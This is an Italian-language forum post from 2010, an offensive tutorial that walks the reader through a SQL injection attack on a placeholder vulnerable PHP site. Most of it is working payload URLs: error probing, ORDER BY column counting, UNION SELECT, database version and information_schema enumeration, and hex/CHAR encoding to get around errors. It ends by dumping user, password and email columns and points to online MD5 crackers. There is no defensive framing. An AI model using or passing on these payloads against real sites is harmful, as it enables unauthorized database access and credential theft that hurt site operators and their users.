Advanced Sql Injection by Psynfected

« Older   Newer »
 
  Share  
.
  1. psynfected
        Like  
     
    .

    User deleted


    Advanced Sql Injection by Psynfected

    Vi spieghero velocemente come effettuare una SQLi in un sito buggato:

    sito buggato: www.sitobuggato.it
    target: www.sitobuggato.it/article.php?sid=123

    per visualizzare l'errore aggiungiamo:

    CODICE
    http://www.sitobuggato.it/article.php?sid=-123'


    questo ci restituira un errore che puo essere così:

    CODICE
    Warning: mysql_fetch_assoc()
    Warning: mysql_fetch_array()
    Warning: mysql_num_rows()
    Warning: session_start()
    Warning: getimagesize()
    Warning: is_writable()
    Warning: getimagesize()
    Warning: Unknown()
    Warning: session_start()
    Warning: mysql_result()
    Warning: pg_exec()
    Warning: mysql_result()
    Warning: mysql_num_rows()
    Warning: mysql_query()
    Warning: array_merge()
    Warning: preg_match()
    Warning: filesize()
    Warning: require()


    questo ci dimostra che il sito è buggato e che si può effettuare una SQLi.

    altri modi per far comparire un errore:

    aggiungiamo all'indirizzo "AND 1=2--" (senza apici) [TRUE = FALSE] 1 non puo essere uguale a 2 quindi anche questo risultera come errore e ci favorira nella SQLi, se noi invece avessimo messo 1=1 [TRUE = TRUE] la pagina sarebbe stata visualizzata.

    quindi come risultato avremo:

    CODICE
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2--


    ora cerchiamo il numero delle colonne:

    aggiungiamo all'indirizzo order by in questo caso il sito ha 9 colonne adesso noi facciamo finta di non saperlo e dovremo fare cosi:

    CODICE
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 1--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 2--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 3--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 4--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 5--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 6--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 7--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 8--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 9--     la pagina viene visualizzata senza errori
    http://www.sitobuggato.it/article.php?sid=-123' AND 1=2 order by 10--      viene restituito un errore [per i possibili errori guarda su ]


    quindi ora abbiamo scoperto il numero delle colonne ora quindi scriviamo l'union select al posto di order by con il relativo numer delle colonne:

    CODICE
    http://www.sitobuggato.it/article.php?sid=-123 AND 1=2 union select 1,2,3,4,5,6,7,8,9--


    e al posto della pagina verranno visualizzati dei numeri in questo caso sono: 4,5,6,8 e 9

    ora dobbiamo scoprire la versione del database quindi aggiungiamo a un numero qualsiasi (4,5,6,8 e 9) il comando @@version

    CODICE
    http://www.sitobuggato.it/article.php?sid=-123 AND 1=2 union select 1,2,3,4,@@version,6,7,8,9--


    ci verra restituita la versione del database nel nostro caso "5.0.32-Debian_7etch8-log"

    ora cerchiamo le tables quindi scriviamo:

    CODICE
    http://www.sitobuggato.it/article.php?sid=-123 AND 1=2 union select 1,2,3,4,table_name,6,7,8,9 from information_schema.tables limit 0,1--


    per navigare nei vari tables aggiungiamo sempre 0,1 e ci sara il primo 1,1 e sara visualizzato il secondo 2,1 il terzo 3,1 il quarto e cosi via fino a trovare quello desiderato ad esempio account, administrator, admin ecc

    ora che abbiamo trovato la table cerchiamo la columns (come table prendiamo in considerazione per esempio "account"):

    CODICE
    www.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,4,3,4,column_name,6,7,8,9 from information_schema.columns where table_name=account limit 0,1--


    a volte può dare errore quindi vi consiglio in caso di errore codificare la table in Char o HEX (admin in char diventa: '97 99 99 111 117 110 116' ed in hex invece: '6163636f756e74' )
    quindi scriveremo (solo in caso di errore)

    CODICE
    www.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name=0x6163636f756e74 limit 0,1--


    o

    CODICE
    www.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,2,3,4,column_name,6,7,8,9 from information_schema.columns where table_name=CHAR(97,99,99,111,117,110,116) limit 0,1--


    ora troveremo ad esempio id,user,password, email ecc

    quindi non ci resta che fare:

    CODICE
    www.sitobuggato.it/article/articolo.php?sid=123 AND 1=2 union select 1,2,3,4,group_concat(id,0x3a,user,0x3a,password,0x3a,email) from account--


    e avremo le password, id, user, email contenute nei database

    NB. le password sono solitamente criptate in md5 e quindi incapperai in una password simile a questa: 9b3ff2e6dd7891882d149f429b040cc5 che è uguale ad 'haker-forum'

    per decrittarla basta cercare su google md5 cracker

    Guida by Psynfected
     
    .
0 replies since 5/9/2010, 17:48   362 views
  Share  
.